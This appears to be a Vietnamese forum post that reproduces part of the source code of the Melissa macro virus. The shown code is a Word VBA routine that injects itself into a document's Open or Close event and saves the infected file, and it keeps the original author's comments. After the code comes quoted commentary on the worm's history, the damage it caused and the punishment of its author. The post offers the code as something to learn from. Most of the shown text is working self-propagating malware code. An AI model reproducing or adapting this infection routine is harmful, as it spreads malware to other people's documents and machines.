    If DoNT <> True And DoAD <> True Then GoTo CYA

    If DoNT = True Then
        Do While ADI1.CodeModule.Lines(1, 1) = ""
            ADI1.CodeModule.DeleteLines 1
        Loop
        ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
        Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
            ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
            BGN = BGN + 1
        Loop
    End If

    If DoAD = True Then
        Do While NTI1.CodeModule.Lines(1, 1) = ""
            NTI1.CodeModule.DeleteLines 1
        Loop
        ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
        Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
            ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
            BGN = BGN + 1
        Loop
    End If

CYA:

    If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
        ActiveDocument.SaveAs Filename:=ActiveDocument.FullName
    ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
        ActiveDocument.Saved = True
    End If

    'WORD/Melissa written by Kwyjibo
    'Works in both Word 2000 and Word 97
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

    If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub
và nghĩ rằng, ôi dào, một cái Sub bình thường sử dụng sự kiện Open của 1 văn bản Word.

Vâng, đúng là như thế, nhưng chính xác hơn đây chính là code của con sâu nổi tiếng :Sâu Melissa


virusvn.com đã viết:
Sâu Melissa rất thành công trong sự nghiệp phá hoại máy tính của mình vì lợi dụng những người dùng "thích sex nhưng không muốn bỏ ra gì cả". Nhiều người hấp tấp download file List.DOC từ một nhóm thảo luận có tên Usenet cũng chỉ vì nghe đồn trong file chứa mã truy cập miễn phí tới hơn 80 trang web khiêu dâm nóng bỏng.

Website chưa thấy đâu nhưng Melissa gần như đánh sập mạng Internet thời điểm đó bằng trò gửi email đồng loạt và liên tục. Nó "ăn" sâu vào phần mềm soạn thảo văn bản MS Word version 97 hoặc 2000, đánh cắp 50 địa chỉ người đầu tiên trong danh bạ của Outlook 97/98 mỗi khi mở văn bản soạn thảo và bắt đầu công cuộc spam tự động. Melissa cũng tự động chèn thông báo từ chương trình TV vào văn bản, xóa các file hệ thống quan trọng của Windows.

Theo ước tính, sâu Melissa đã gây thiệt hại tới 1 tỷ USD. Thủ phạm viết mã độc sâu này là David Smith (bang New Jersey, Mỹ) đã phải "bóc lịch" 20 tháng và nộp 5.000 USD tiền phạt.



Chúng ta sẽ học được nhiều ở đoạn code này.

Thân!
 
Web KT
Back
Top Bottom